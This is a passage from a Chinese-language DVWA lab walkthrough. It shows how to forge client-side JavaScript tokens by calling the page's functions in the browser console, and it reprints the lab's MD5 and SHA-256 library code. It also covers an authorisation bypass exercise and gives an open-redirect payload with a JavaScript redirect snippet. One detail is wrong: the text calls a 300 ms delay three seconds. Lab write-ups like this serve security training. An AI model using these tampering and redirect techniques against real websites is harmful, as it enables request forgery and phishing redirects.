!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);
function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token();
</script>
EOF;
?>
先看源代码发现这就主要是一个Md5加密其余是
function generate_token() {
var phrase = document.getElementById(“phrase”).value;
document.getElementById(“token”).value = md5(rot13(phrase));
}
这行代码是将phrase的值进行Md5加密后再将其赋值给token
首先明确此题是需要我们去提交一个success只要提交成功便可以
但是我们发现直接提交是行不通的
然后抓包看看能否看到什么有用的东西
如图:
经过观察发现无论我们所提交的Phrase为何值所对应的token始终不发生改变
但是根据我们对后端代码的观察发现按道理来说不应该啊只要Phrase的值发生改变那么token的值那必定改变啊
既然不变那就只能说明一个问题就是前端做了手脚不让Phrase的值发生改变
去瞅瞅:
还有这个
嘿嘿嘿找到了原来是他隐藏了token他把的值固定phrase的值给固定成了ChangeMe
因为我们提交时是先经过前端然后才是后端所以我们的token一直都是ChangeMe的
所以在我们提交success之前先
执行generate_token()函数这样就可以使token是successMd5加密的值了
再点击Submit即可
如图:
最后再看一下后端发现果然是将字符串success进行md5加密后,再与前端提交过来的token值进行比对,匹配成功,才能成功提交success
如图:
success!
2.Medium
同样的我们先来看后端带码
看着有点费劲我们可以使用在线工具将其格式化
如图:
这段代码先进性了一个加密也就是字符串反转然后又在调用的时候加上了XX最后将phrase的值经给过以上加密处理后赋值给token
再来看前端代码
发现和上一关一样没什么不同只不过加密方法变了一下
最后再看一下后端代码确定一下
如图:
ok这下确定了
开始操作:
输入success后
先在前端的控制台上执行一下do_elsesomething(“XX”)
如图:
然后点击提交就OK了
如图:
3.High
先来分析源码
如图:
发现这一串JS代码看起来也被混淆了一遍同样的我们用网站简单处理一下就能阅读代码了
如下:
(function() {
'use strict';
var ERROR = 'input is invalid type';
var WINDOW = typeof window === 'object';
var root = WINDOW ? window : {};
if (root.JS_SHA256_NO_WINDOW) {
WINDOW = false
}
var WEB_WORKER = !WINDOW && typeof self === 'object';
var NODE_JS = !root.JS_SHA256_NO_NODE_JS && typeof process === 'object' && process.versions && process.versions.node;
if (NODE_JS) {
root = global
} else if (WEB_WORKER) {
root = self
}
var COMMON_JS = !root.JS_SHA256_NO_COMMON_JS && typeof module === 'object' && module.exports;
var AMD = typeof define === 'function' && define.amd;
var ARRAY_BUFFER = !root.JS_SHA256_NO_ARRAY_BUFFER && typeof ArrayBuffer !== 'undefined';
var HEX_CHARS = '0123456789abcdef'.split('');
var EXTRA = [-2147483648, 8388608, 32768, 128];
var SHIFT = [24, 16, 8, 0];
var K = [0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2];
var OUTPUT_TYPES = ['hex', 'array', 'digest', 'arrayBuffer'];
var blocks = [];
if (root.JS_SHA256_NO_NODE_JS || !Array.isArray) {
Array.isArray = function(obj) {
return Object.prototype.toString.call(obj) === '[object Array]'
}
}
if (ARRAY_BUFFER && (root.JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) {
ArrayBuffer.isView = function(obj) {
return typeof obj === 'object' && obj.buffer && obj.buffer.constructor === ArrayBuffer
}
}
var createOutputMethod = function(outputType, is224) {
return function(message) {
return new Sha256(is224, true).update(message)[outputType]()
}
};
var createMethod = function(is224) {
var method = createOutputMethod('hex', is224);
if (NODE_JS) {
method = nodeWrap(method, is224)
}
method.create = function() {
return new Sha256(is224)
};
method.update = function(message) {
return method.create().update(message)
};
for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
var type = OUTPUT_TYPES[i];
method[type] = createOutputMethod(type, is224)
}
return method
};
var nodeWrap = function(method, is224) {
var crypto = eval("require('crypto')");
var Buffer = eval("require('buffer').Buffer");
var algorithm = is224 ? 'sha224' : 'sha256';
var nodeMethod = function(message) {
if (typeof message === 'string') {
return crypto.createHash(algorithm).update(message, 'utf8').digest('hex')
} else {
if (message === null || message === undefined) {
throw new Error(ERROR)
} else if (message.constructor === ArrayBuffer) {
message = new Uint8Array(message)
}
}
if (Array.isArray(message) || ArrayBuffer.isView(message) || message.constructor === Buffer) {
return crypto.createHash(algorithm).update(new Buffer(message)).digest('hex')
} else {
return method(message)
}
};
return nodeMethod
};
var createHmacOutputMethod = function(outputType, is224) {
return function(key, message) {
return new HmacSha256(key, is224, true).update(message)[outputType]()
}
};
var createHmacMethod = function(is224) {
var method = createHmacOutputMethod('hex', is224);
method.create = function(key) {
return new HmacSha256(key, is224)
};
method.update = function(key, message) {
return method.create(key).update(message)
};
for (var i = 0; i < OUTPUT_TYPES.length; ++i) {
var type = OUTPUT_TYPES[i];
method[type] = createHmacOutputMethod(type, is224)
}
return method
};
function Sha256(is224, sharedMemory) {
if (sharedMemory) {
blocks[0] = blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0;
this.blocks = blocks
} else {
this.blocks = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
}
if (is224) {
this.h0 = 0xc1059ed8;
this.h1 = 0x367cd507;
this.h2 = 0x3070dd17;
this.h3 = 0xf70e5939;
this.h4 = 0xffc00b31;
this.h5 = 0x68581511;
this.h6 = 0x64f98fa7;
this.h7 = 0xbefa4fa4
} else {
this.h0 = 0x6a09e667;
this.h1 = 0xbb67ae85;
this.h2 = 0x3c6ef372;
this.h3 = 0xa54ff53a;
this.h4 = 0x510e527f;
this.h5 = 0x9b05688c;
this.h6 = 0x1f83d9ab;
this.h7 = 0x5be0cd19
}
this.block = this.start = this.bytes = this.hBytes = 0;
this.finalized = this.hashed = false;
this.first = true;
this.is224 = is224
}
Sha256.prototype.update = function(message) {
if (this.finalized) {
return
}
var notString, type = typeof message;
if (type !== 'string') {
if (type === 'object') {
if (message === null) {
throw new Error(ERROR)
} else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) {
message = new Uint8Array(message)
} else if (!Array.isArray(message)) {
if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) {
throw new Error(ERROR)
}
}
} else {
throw new Error(ERROR)
}
notString = true
}
var code, index = 0,
i, length = message.length,
blocks = this.blocks;
while (index < length) {
if (this.hashed) {
this.hashed = false;
blocks[0] = this.block;
blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
}
if (notString) {
for (i = this.start; index < length && i < 64; ++index) {
blocks[i >> 2] |= message[index] << SHIFT[i++ & 3]
}
} else {
for (i = this.start; index < length && i < 64; ++index) {
code = message.charCodeAt(index);
if (code < 0x80) {
blocks[i >> 2] |= code << SHIFT[i++ & 3]
} else if (code < 0x800) {
blocks[i >> 2] |= (0xc0 | (code >> 6)) << SHIFT[i++ & 3];
blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
} else if (code < 0xd800 || code >= 0xe000) {
blocks[i >> 2] |= (0xe0 | (code >> 12)) << SHIFT[i++ & 3];
blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
} else {
code = 0x10000 + (((code & 0x3ff) << 10) | (message.charCodeAt(++index) & 0x3ff));
blocks[i >> 2] |= (0xf0 | (code >> 18)) << SHIFT[i++ & 3];
blocks[i >> 2] |= (0x80 | ((code >> 12) & 0x3f)) << SHIFT[i++ & 3];
blocks[i >> 2] |= (0x80 | ((code >> 6) & 0x3f)) << SHIFT[i++ & 3];
blocks[i >> 2] |= (0x80 | (code & 0x3f)) << SHIFT[i++ & 3]
}
}
}
this.lastByteIndex = i;
this.bytes += i - this.start;
if (i >= 64) {
this.block = blocks[16];
this.start = i - 64;
this.hash();
this.hashed = true
} else {
this.start = i
}
}
if (this.bytes > 4294967295) {
this.hBytes += this.bytes / 4294967296 << 0;
this.bytes = this.bytes % 4294967296
}
return this
};
Sha256.prototype.finalize = function() {
if (this.finalized) {
return
}
this.finalized = true;
var blocks = this.blocks,
i = this.lastByteIndex;
blocks[16] = this.block;
blocks[i >> 2] |= EXTRA[i & 3];
this.block = blocks[16];
if (i >= 56) {
if (!this.hashed) {
this.hash()
}
blocks[0] = this.block;
blocks[16] = blocks[1] = blocks[2] = blocks[3] = blocks[4] = blocks[5] = blocks[6] = blocks[7] = blocks[8] = blocks[9] = blocks[10] = blocks[11] = blocks[12] = blocks[13] = blocks[14] = blocks[15] = 0
}
blocks[14] = this.hBytes << 3 | this.bytes >>> 29;
blocks[15] = this.bytes << 3;
this.hash()
};
Sha256.prototype.hash = function() {
var a = this.h0,
b = this.h1,
c = this.h2,
d = this.h3,
e = this.h4,
f = this.h5,
g = this.h6,
h = this.h7,
blocks = this.blocks,
j, s0, s1, maj, t1, t2, ch, ab, da, cd, bc;
for (j = 16; j < 64; ++j) {
t1 = blocks[j - 15];
s0 = ((t1 >>> 7) | (t1 << 25)) ^ ((t1 >>> 18) | (t1 << 14)) ^ (t1 >>> 3);
t1 = blocks[j - 2];
s1 = ((t1 >>> 17) | (t1 << 15)) ^ ((t1 >>> 19) | (t1 << 13)) ^ (t1 >>> 10);
blocks[j] = blocks[j - 16] + s0 + blocks[j - 7] + s1 << 0
}
bc = b & c;
for (j = 0; j < 64; j += 4) {
if (this.first) {
if (this.is224) {
ab = 300032;
t1 = blocks[0] - 1413257819;
h = t1 - 150054599 << 0;
d = t1 + 24177077 << 0
} else {
ab = 704751109;
t1 = blocks[0] - 210244248;
h = t1 - 1521486534 << 0;
d = t1 + 143694565 << 0
}
this.first = false
} else {
s0 = ((a >>> 2) | (a << 30)) ^ ((a >>> 13) | (a << 19)) ^ ((a >>> 22) | (a << 10));
s1 = ((e >>> 6) | (e << 26)) ^ ((e >>> 11) | (e << 21)) ^ ((e >>> 25) | (e << 7));
ab = a & b;
maj = ab ^ (a & c) ^ bc;
ch = (e & f) ^ (~e & g);
t1 = h + s1 + ch + K[j] + blocks[j];
t2 = s0 + maj;
h = d + t1 << 0;
d = t1 + t2 << 0
}
s0 = ((d >>> 2) | (d << 30)) ^ ((d >>> 13) | (d << 19)) ^ ((d >>> 22) | (d << 10));
s1 = ((h >>> 6) | (h << 26)) ^ ((h >>> 11) | (h << 21)) ^ ((h >>> 25) | (h << 7));
da = d & a;
maj = da ^ (d & b) ^ ab;
ch = (h & e) ^ (~h & f);
t1 = g + s1 + ch + K[j + 1] + blocks[j + 1];
t2 = s0 + maj;
g = c + t1 << 0;
c = t1 + t2 << 0;
s0 = ((c >>> 2) | (c << 30)) ^ ((c >>> 13) | (c << 19)) ^ ((c >>> 22) | (c << 10));
s1 = ((g >>> 6) | (g << 26)) ^ ((g >>> 11) | (g << 21)) ^ ((g >>> 25) | (g << 7));
cd = c & d;
maj = cd ^ (c & a) ^ da;
ch = (g & h) ^ (~g & e);
t1 = f + s1 + ch + K[j + 2] + blocks[j + 2];
t2 = s0 + maj;
f = b + t1 << 0;
b = t1 + t2 << 0;
s0 = ((b >>> 2) | (b << 30)) ^ ((b >>> 13) | (b << 19)) ^ ((b >>> 22) | (b << 10));
s1 = ((f >>> 6) | (f << 26)) ^ ((f >>> 11) | (f << 21)) ^ ((f >>> 25) | (f << 7));
bc = b & c;
maj = bc ^ (b & d) ^ cd;
ch = (f & g) ^ (~f & h);
t1 = e + s1 + ch + K[j + 3] + blocks[j + 3];
t2 = s0 + maj;
e = a + t1 << 0;
a = t1 + t2 << 0
}
this.h0 = this.h0 + a << 0;
this.h1 = this.h1 + b << 0;
this.h2 = this.h2 + c << 0;
this.h3 = this.h3 + d << 0;
this.h4 = this.h4 + e << 0;
this.h5 = this.h5 + f << 0;
this.h6 = this.h6 + g << 0;
this.h7 = this.h7 + h << 0
};
Sha256.prototype.hex = function() {
this.finalize();
var h0 = this.h0,
h1 = this.h1,
h2 = this.h2,
h3 = this.h3,
h4 = this.h4,
h5 = this.h5,
h6 = this.h6,
h7 = this.h7;
var hex = HEX_CHARS[(h0 >> 28) & 0x0F] + HEX_CHARS[(h0 >> 24) & 0x0F] + HEX_CHARS[(h0 >> 20) & 0x0F] + HEX_CHARS[(h0 >> 16) & 0x0F] + HEX_CHARS[(h0 >> 12) & 0x0F] + HEX_CHARS[(h0 >> 8) & 0x0F] + HEX_CHARS[(h0 >> 4) & 0x0F] + HEX_CHARS[h0 & 0x0F] + HEX_CHARS[(h1 >> 28) & 0x0F] + HEX_CHARS[(h1 >> 24) & 0x0F] + HEX_CHARS[(h1 >> 20) & 0x0F] + HEX_CHARS[(h1 >> 16) & 0x0F] + HEX_CHARS[(h1 >> 12) & 0x0F] + HEX_CHARS[(h1 >> 8) & 0x0F] + HEX_CHARS[(h1 >> 4) & 0x0F] + HEX_CHARS[h1 & 0x0F] + HEX_CHARS[(h2 >> 28) & 0x0F] + HEX_CHARS[(h2 >> 24) & 0x0F] + HEX_CHARS[(h2 >> 20) & 0x0F] + HEX_CHARS[(h2 >> 16) & 0x0F] + HEX_CHARS[(h2 >> 12) & 0x0F] + HEX_CHARS[(h2 >> 8) & 0x0F] + HEX_CHARS[(h2 >> 4) & 0x0F] + HEX_CHARS[h2 & 0x0F] + HEX_CHARS[(h3 >> 28) & 0x0F] + HEX_CHARS[(h3 >> 24) & 0x0F] + HEX_CHARS[(h3 >> 20) & 0x0F] + HEX_CHARS[(h3 >> 16) & 0x0F] + HEX_CHARS[(h3 >> 12) & 0x0F] + HEX_CHARS[(h3 >> 8) & 0x0F] + HEX_CHARS[(h3 >> 4) & 0x0F] + HEX_CHARS[h3 & 0x0F] + HEX_CHARS[(h4 >> 28) & 0x0F] + HEX_CHARS[(h4 >> 24) & 0x0F] + HEX_CHARS[(h4 >> 20) & 0x0F] + HEX_CHARS[(h4 >> 16) & 0x0F] + HEX_CHARS[(h4 >> 12) & 0x0F] + HEX_CHARS[(h4 >> 8) & 0x0F] + HEX_CHARS[(h4 >> 4) & 0x0F] + HEX_CHARS[h4 & 0x0F] + HEX_CHARS[(h5 >> 28) & 0x0F] + HEX_CHARS[(h5 >> 24) & 0x0F] + HEX_CHARS[(h5 >> 20) & 0x0F] + HEX_CHARS[(h5 >> 16) & 0x0F] + HEX_CHARS[(h5 >> 12) & 0x0F] + HEX_CHARS[(h5 >> 8) & 0x0F] + HEX_CHARS[(h5 >> 4) & 0x0F] + HEX_CHARS[h5 & 0x0F] + HEX_CHARS[(h6 >> 28) & 0x0F] + HEX_CHARS[(h6 >> 24) & 0x0F] + HEX_CHARS[(h6 >> 20) & 0x0F] + HEX_CHARS[(h6 >> 16) & 0x0F] + HEX_CHARS[(h6 >> 12) & 0x0F] + HEX_CHARS[(h6 >> 8) & 0x0F] + HEX_CHARS[(h6 >> 4) & 0x0F] + HEX_CHARS[h6 & 0x0F];
if (!this.is224) {
hex += HEX_CHARS[(h7 >> 28) & 0x0F] + HEX_CHARS[(h7 >> 24) & 0x0F] + HEX_CHARS[(h7 >> 20) & 0x0F] + HEX_CHARS[(h7 >> 16) & 0x0F] + HEX_CHARS[(h7 >> 12) & 0x0F] + HEX_CHARS[(h7 >> 8) & 0x0F] + HEX_CHARS[(h7 >> 4) & 0x0F] + HEX_CHARS[h7 & 0x0F]
}
return hex
};
Sha256.prototype.toString = Sha256.prototype.hex;
Sha256.prototype.digest = function() {
this.finalize();
var h0 = this.h0,
h1 = this.h1,
h2 = this.h2,
h3 = this.h3,
h4 = this.h4,
h5 = this.h5,
h6 = this.h6,
h7 = this.h7;
var arr = [(h0 >> 24) & 0xFF, (h0 >> 16) & 0xFF, (h0 >> 8) & 0xFF, h0 & 0xFF, (h1 >> 24) & 0xFF, (h1 >> 16) & 0xFF, (h1 >> 8) & 0xFF, h1 & 0xFF, (h2 >> 24) & 0xFF, (h2 >> 16) & 0xFF, (h2 >> 8) & 0xFF, h2 & 0xFF, (h3 >> 24) & 0xFF, (h3 >> 16) & 0xFF, (h3 >> 8) & 0xFF, h3 & 0xFF, (h4 >> 24) & 0xFF, (h4 >> 16) & 0xFF, (h4 >> 8) & 0xFF, h4 & 0xFF, (h5 >> 24) & 0xFF, (h5 >> 16) & 0xFF, (h5 >> 8) & 0xFF, h5 & 0xFF, (h6 >> 24) & 0xFF, (h6 >> 16) & 0xFF, (h6 >> 8) & 0xFF, h6 & 0xFF];
if (!this.is224) {
arr.push((h7 >> 24) & 0xFF, (h7 >> 16) & 0xFF, (h7 >> 8) & 0xFF, h7 & 0xFF)
}
return arr
};
Sha256.prototype.array = Sha256.prototype.digest;
Sha256.prototype.arrayBuffer = function() {
this.finalize();
var buffer = new ArrayBuffer(this.is224 ? 28 : 32);
var dataView = new DataView(buffer);
dataView.setUint32(0, this.h0);
dataView.setUint32(4, this.h1);
dataView.setUint32(8, this.h2);
dataView.setUint32(12, this.h3);
dataView.setUint32(16, this.h4);
dataView.setUint32(20, this.h5);
dataView.setUint32(24, this.h6);
if (!this.is224) {
dataView.setUint32(28, this.h7)
}
return buffer
};
function HmacSha256(key, is224, sharedMemory) {
var i, type = typeof key;
if (type === 'string') {
var bytes = [],
length = key.length,
index = 0,
code;
for (i = 0; i < length; ++i) {
code = key.charCodeAt(i);
if (code < 0x80) {
bytes[index++] = code
} else if (code < 0x800) {
bytes[index++] = (0xc0 | (code >> 6));
bytes[index++] = (0x80 | (code & 0x3f))
} else if (code < 0xd800 || code >= 0xe000) {
bytes[index++] = (0xe0 | (code >> 12));
bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
bytes[index++] = (0x80 | (code & 0x3f))
} else {
code = 0x10000 + (((code & 0x3ff) << 10) | (key.charCodeAt(++i) & 0x3ff));
bytes[index++] = (0xf0 | (code >> 18));
bytes[index++] = (0x80 | ((code >> 12) & 0x3f));
bytes[index++] = (0x80 | ((code >> 6) & 0x3f));
bytes[index++] = (0x80 | (code & 0x3f))
}
}
key = bytes
} else {
if (type === 'object') {
if (key === null) {
throw new Error(ERROR)
} else if (ARRAY_BUFFER && key.constructor === ArrayBuffer) {
key = new Uint8Array(key)
} else if (!Array.isArray(key)) {
if (!ARRAY_BUFFER || !ArrayBuffer.isView(key)) {
throw new Error(ERROR)
}
}
} else {
throw new Error(ERROR)
}
}
if (key.length > 64) {
key = (new Sha256(is224, true)).update(key).array()
}
var oKeyPad = [],
iKeyPad = [];
for (i = 0; i < 64; ++i) {
var b = key[i] || 0;
oKeyPad[i] = 0x5c ^ b;
iKeyPad[i] = 0x36 ^ b
}
Sha256.call(this, is224, sharedMemory);
this.update(iKeyPad);
this.oKeyPad = oKeyPad;
this.inner = true;
this.sharedMemory = sharedMemory
}
HmacSha256.prototype = new Sha256();
HmacSha256.prototype.finalize = function() {
Sha256.prototype.finalize.call(this);
if (this.inner) {
this.inner = false;
var innerHash = this.array();
Sha256.call(this, this.is224, this.sharedMemory);
this.update(this.oKeyPad);
this.update(innerHash);
Sha256.prototype.finalize.call(this)
}
};
var exports = createMethod();
exports.sha256 = exports;
exports.sha224 = createMethod(true);
exports.sha256.hmac = createHmacMethod();
exports.sha224.hmac = createHmacMethod(true);
if (COMMON_JS) {
module.exports = exports
} else {
root.sha256 = exports.sha256;
root.sha224 = exports.sha224;
if (AMD) {
define(function() {
return exports
})
}
}
})();
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
我们可以直接看核心部分:
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
function token_part_3(t, y = “ZZ”)、function token_part_2(e = “YY”)、functiontoken_part_1(a, b) 都是对token进行加密处理
执行步骤为:
1、将id="phrase"输入框的值置空 document.getElementById(“phrase”).value = “”;
2、调用token_part_1() 方法 token_part_1(“ABCD”, 44);
3、执行 token_part_2() 方法
setTimeout(function() {
token_part_2(“XX”)
}, 300);
4、执行token_part_3() 方法 document.getElementById(“send”).addEventListener(“click”, token_part_3);
因为token_part_2()方法延迟了3秒执行所以在延迟执行的过程中token_part_1()方法会优先执行
ok思路理清后开始操作:
将输入框的值改为success
在前端控制台依次执行 token_part_1(“ABCD”, 44); token_part_2(“XX”);
如图:
然后提交即可
如图:
4.Impossible
页面提示如图:
大致意思是:你永远不能相信来自用户的任何东西,或者阻止他们破坏它,但是你又不能阻止用户的输入因为这样可能会干扰网站的正常使用,所以不存在Impossible级别
十五、Authorisation Bypass
授权绕过(Authorization Bypass)是指在计算机系统中绕过正常的授权机制,未经授权就访问系统资源的行为。这通常涉及到利用系统漏洞、配置错误或安全策略的弱点,以非法方式获取对敏感数据、应用程序或系统的访问权限
1.Low
进入页面显示
此页面只能由管理员用户访问。您面临的挑战是使用其他用户之一访问这些功能,例如gordonb/abc 123
然后我们重新打开一个没登录过的dvwa然后使用他给我们的账密gordonb/abc 123进行登录
如图:
我们发现用户是没有授权绕过这一选项的
十六、Vulnerability: Open HTTP Redirect
1.Low
先看源码如图:
先通过 array_key_exists 函数判断 $_GET 数组中是否存在 redirect 键值,如果存在且不为空,则调用 header 函数,否则返回 500 状态码然后调用 header 函数,将 Location 字段设置为 $ GET[‘redirect’] 的值,完成重定向操作。exit 函数用于终止脚本的执行,确保 header 函数的执行效果
由于源码没有对重定向参数传递进行任何过滤
因此构造Payload:
?redirect=跳转网页URL
2.Medium
先分析源码
如图:
此关代码与上一关的主要不同的点在于使用了正则匹配
正则表达式 preg_match 来检查 $_GET[‘redirect’] 的值是否以 “http://” 或 “https://” 开头且不区分大小写
如果匹配到了这两个前缀会返回 HTTP 响应码 500并输出提示信息 " Absolute URLs not allowed "然后程序终止执行
如果没有匹配到绝对 URL 的前缀,即以相对路径形式存在,将执行接下来的代码
使用 header 函数将浏览器重定向到 $ GET[‘redirect’] 指定的地址
执行 exit 终止后续代码的执行
因此我们可以使用 JavaScript 进行重定向或者创建一个中间代理页面
以下是一个示例 JavaScript 代码:
<script type="text/javascript">
var redirectURL = "http://www.example.com"; // 设置要重定向的网页地址
window.location.href = redirectURL; // 执行重定向
</script>
将上述代码插入到编辑器的代码中,加载该网页时,JavaScript 代码会将用户重定向到指定的网页。
3.High
代码分析:
此关与上一关的不同点在于
检查 $_GET[‘redirect’] 参数中是否包含字符串 “info.php”。这里使用了 strpos() 函数来检查字符串中是否包含指定的内容
如果 $_GET[‘redirect’] 参数包含字符串 “info.php”,则使用 header() 函数进行重定向,将用户重定向到 $GET[‘redirect’] 中指定的页面
